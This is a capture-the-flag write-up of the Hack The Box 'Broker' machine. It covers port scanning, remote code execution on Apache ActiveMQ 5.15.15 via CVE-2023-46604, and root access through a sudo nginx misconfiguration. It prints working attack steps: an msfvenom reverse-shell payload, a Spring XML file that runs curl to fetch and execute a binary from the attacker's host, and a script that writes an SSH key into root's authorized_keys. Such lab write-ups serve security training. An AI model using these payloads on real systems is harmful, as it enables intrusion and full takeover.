Broker

By Praveen Kumar Sharma

For me IP of the machine is : 10.10.11.243
Lets try pinging it

```
ping 10.10.11.243 -c 5

PING 10.10.11.243 (10.10.11.243) 56(84) bytes of data.
64 bytes from 10.10.11.243: icmp_seq=1 ttl=63 time=72.6 ms
64 bytes from 10.10.11.243: icmp_seq=2 ttl=63 time=72.7 ms
64 bytes from 10.10.11.243: icmp_seq=3 ttl=63 time=74.7 ms
64 bytes from 10.10.11.243: icmp_seq=4 ttl=63 time=88.1 ms
64 bytes from 10.10.11.243: icmp_seq=5 ttl=63 time=87.2 ms

--- 10.10.11.243 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 72.628/79.087/88.121/7.059 ms
```

Alright, Its online lets do some port scanning

Port Scanning

All Port Scan

```
rustscan -a 10.10.11.243 --ulimit 5000
```

```
rustscan -a 10.10.11.243 --ulimit 5000
Initiating Ping Scan at 20:17
Scanning 10.10.11.243 [2 ports]
Completed Ping Scan at 20:17, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:17
Completed Parallel DNS resolution of 1 host. at 20:17, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 20:17
Scanning 10.10.11.243 [9 ports]
Discovered open port 61614/tcp on 10.10.11.243
Discovered open port 61616/tcp on 10.10.11.243
Discovered open port 22/tcp on 10.10.11.243
Discovered open port 80/tcp on 10.10.11.243
Discovered open port 8161/tcp on 10.10.11.243
Discovered open port 5672/tcp on 10.10.11.243
Discovered open port 61613/tcp on 10.10.11.243
Discovered open port 36575/tcp on 10.10.11.243
Discovered open port 1883/tcp on 10.10.11.243
Completed Connect Scan at 20:17, 0.19s elapsed (9 total ports)
Nmap scan report for 10.10.11.243
Host is up, received syn-ack (0.18s latency).
Scanned at 2024-10-16 20:17:28 IST for 1s

PORT      STATE SERVICE     REASON
22/tcp    open  ssh         syn-ack
80/tcp    open  http        syn-ack
1883/tcp  open  mqtt        syn-ack
5672/tcp  open  amqp        syn-ack
8161/tcp  open  patrol-snmp syn-ack
36575/tcp open  unknown     syn-ack
61613/tcp open  unknown     syn-ack
61614/tcp open  unknown     syn-ack
61616/tcp open  unknown     syn-ack
```

Open Ports

```
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
1883/tcp open mqtt syn-ack
5672/tcp open amqp syn-ack
8161/tcp open patrol-snmp syn-ack
```

```
36575/tcp open unknown syn-ack
61613/tcp open unknown syn-ack
61614/tcp open unknown syn-ack
61616/tcp open unknown syn-ack
```

A lot of ports lets do an aggressive scan on all of these

Aggressive Scan

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80,1883,5672,8161,36575,61613,61614,61616
10.10.11.243 -o aggressiveScan.txt
```

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80,1883,5672,8161,36575,61613,61614,61616 10.10.11.243 -o aggressiveScan.txt
Nmap scan report for 10.10.11.243
Host is up (0.23s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt
| mqtt-subscribe:
|   Topics and their most recent payloads:
|_    ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp  open  amqp?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
36575/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings:
|   HELP4STOMP:
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
| http-methods:
|_  Potentially risky methods: TRACE
61616/tcp open  apachemq   ActiveMQ OpenWire transport 5.15.15
2 services unrecognized despite returning data. If you know the service/version, please submit the follo
ce :
```

A lot of services here and their version is also given

Aggressive Scan

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| *256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)*
80/tcp open http nginx 1.18.0 (Ubuntu)

```
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| basic realm=ActiveMQRealm
|http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest,
HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq,
TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
| 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but
was 65
8161/tcp open http Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| basic realm=ActiveMQRealm
|http-title: Error 401 Unauthorized
36575/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown
STOMP action: HELP
|
org.apache.activemq.transport.stomp.ProtocolConverter.onStompComma
nd(ProtocolConverter.java:258)
|
org.apache.activemq.transport.stomp.StompTransportFilter.onCommand
```

```
(StompTransportFilter.java:85)
|
org.apache.activemq.transport.TransportSupport.doConsume(Transport
Support.java:83)
|
org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.
java:233)
|
org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.ja
va:215)
| java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
|http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
| http-methods:
| Potentially risky methods: TRACE
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15
```

So no point going doing directory fuzzing lets just go to gaining access

---

Gaining Access

So I searched both the jetty and the activeMQ version to which one is vulnerable so seems like the activeMQ might be vulnerable to a serialization vulnerability which can cause RCE
: https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

README

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

This exploit builds upon the foundational work available at https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE). We have further developed the technique to achieve a reverse shell utilizing the Metasploit Framework (https://github.com/rapid7/metasploit-framework).

Usage:

Important: Manually change the IP Address (0.0.0.0 on line 11) in the XML files with the IP Address where the payload will be generated. If u follow the below commands it will be your Listner IP Addess. Also {IP_Of_Hosted_XML_File} will be your Listner IP Address.

For Linux/Unix Targets

Lets try to run it now
First we need to generate a test.elf file using msfvenom

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.20 LPORT=9001 -f elf -o test.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: test.elf
```

And now we need to start a listener

```
~/Documents/Notes/Hands-on-Hacking
nc -lvnp 9001
Listening on 0.0.0.0 9001
```

Now we need edit the xml file for our python server

```
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf -->
            <value>curl -s -o test.elf http://10.10.16.20:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>
~
```

Now lets start the python server on port 8001

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Broker/CVE-2023-46604-RC
sudo python -m http.server 8001
[sudo] password for pks:
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
```

Finally now lets run this exploit

So this exploit didnt work for me initially found a python version of this and ran that and that worked u can follow those steps those are similar to this

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Broker/CVE-2023-46604 git:(main)±4 (0.15s)
python3 exploit.py -i 10.10.11.243 -u http://10.10.16.20:8001/poc.xml

     _         _   _                 __  __  ___        ____    ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.16.20:8001/poc.xml

[*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e67667261
6f6e436f6e7465787401001f687474703a2f2f31302e31302e31362e32303a383030312f706f632e78
```

And we get our revshell here

```
nc -lvnp 9001

Listening on 0.0.0.0 9001
Connection received on 10.10.11.243 48256
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$
```

Lets upgrade this

```
nc -lvnp 9001

Listening on 0.0.0.0 9001
Connection received on 10.10.11.243 48256
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<in$ python3 -c 'import pty; pty.spawn("/bin/bash")'
activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
[1]  + 38903 suspended  nc -lvnp 9001


~/Documents/Notes/Hands-on-Hacking/HacktheBox/Broker git:(main)±3
stty raw -echo;fg

[1]  + 38903 continued  nc -lvnp 9001

activemq@broker:/opt/apache-activemq-5.15.15/bin$ export TERM=xterm
activemq@broker:/opt/apache-activemq-5.15.15/bin$
```

And here is your user.txt

```
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd
activemq@broker:~$ ls -al
total 32
drwxr-x--- 4 activemq activemq 4096 Nov  7  2023 .
drwxr-xr-x 3 root     root     4096 Nov  6  2023 ..
lrwxrwxrwx 1 root     root        9 Nov  5  2023 .bash_history -> /dev/null
-rw-r--r-- 1 activemq activemq  220 Nov  5  2023 .bash_logout
-rw-r--r-- 1 activemq activemq 3771 Nov  5  2023 .bashrc
drwx------ 2 activemq activemq 4096 Nov  7  2023 .cache
drwxrwxr-x 3 activemq activemq 4096 Nov  7  2023 .local
-rw-r--r-- 1 activemq activemq  807 Nov  5  2023 .profile
-rw-r----- 1 root     activemq   33 Oct 16 14:21 user.txt
activemq@broker:~$
```

Vertical PrivEsc

Lets check the sudo permissions

```
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq@broker:~$
```

So i found this gist for this privEsc u can follow this : https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406

Privilege Escalation - NGINX / SUDO

Condition - You must have sudo permission on `nginx` :

```
user@host:~$ sudo -l
Matching Defaults entries for user on host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User user may run the following commands on host:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
```

From an existing interractive session create the following exploit code:

```
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
        server {
                listen 1339;
                root /;
                autoindex on;
                dav_methods PUT;
        }
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"
```

Lets run it also make sure to run this from the home directory as this refers .ssh not the whole path

I saved the id_rsa on my local and lets ssh in

```
ssh -i id_rsa root@10.10.11.243
```

```
root@broker:~ (0.011s)
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Oct 16 04:28:25 PM UTC 2024

  System load:           0.0
  Usage of /:            70.8% of 4.63GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             163
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.243
  IPv6 address for eth0: dead:beef::250:56ff:feb9:57a2

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


root@broker ~
```

And here is your root.txt

```
root@broker:~ (0.144s)
cd /root
```

```
root@broker ~ (0.098s)
ls -al
total 36
drwx------  5 root root 4096 Oct 16 14:21 .
drwxr-xr-x 18 root root 4096 Nov  6  2023 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Apr 27  2023 .cache
-rwxr-xr-x  1 root root  517 Nov  7  2023 cleanup.sh
drwxr-xr-x  3 root root 4096 Apr 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Oct 16 14:21 root.txt
drwx------  2 root root 4096 Oct 16 16:27 .ssh
```

Thanks for reading :)